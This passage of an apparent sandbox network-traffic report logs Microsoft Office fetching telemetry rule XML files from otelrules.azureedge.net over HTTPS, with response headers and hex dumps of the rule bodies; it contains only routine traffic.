53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:18 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201619Z-174c587ffdfn4nhwhC1TEB2nbc00000003g000000000b7m7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:19 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 335cca48-001e-0079-7644-3d12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201619Z-174c587ffdfcj798hC1TEB9bq400000003k000000000cug9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:16:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:19 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201619Z-178bfbc474bpnd5vhC1NYC4vr400000005200000000002k1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:20 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 38659630-901e-008f-15a0-3b67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201620Z-15b8b599d88l2dpthC1TEBmzr000000003d0000000007g2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:16:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:21 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:21 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201621Z-178bfbc474bgvl54hC1NYCsfuw00000004y0000000009gty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:21 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:21 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:22 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201622Z-174c587ffdfdwxdvhC1TEB1c4n00000003bg000000009m0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:22 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:21 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:22 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c7391ddf-401e-0064-3568-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201622Z-178bfbc474bpnd5vhC1NYC4vr400000004y000000000atyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:22 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:21 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:22 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3385e8da-101e-00a2-400c-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201622Z-178bfbc474b7cbwqhC1NYC8z4n00000004y0000000003629 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:22 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:22 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:22 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c1e9356c-301e-0099-2920-3d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201622Z-178bfbc474bfw4gbhC1NYCunf400000004z0000000009cgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:22 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:23 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:23 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: dd43f91c-901e-005b-7e7f-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201623Z-174c587ffdftjz9shC1TEBsh98000000035000000000svfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:24 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:24 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:24 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 652d7de6-201e-0033-5d3c-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201624Z-15b8b599d88g5tp8hC1TEByx6w000000039000000000mccu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:24 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:24 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2df0f233-b01e-0084-4f11-3dd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201624Z-178bfbc474bbbqrhhC1NYCvw7400000004zg00000000nvhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
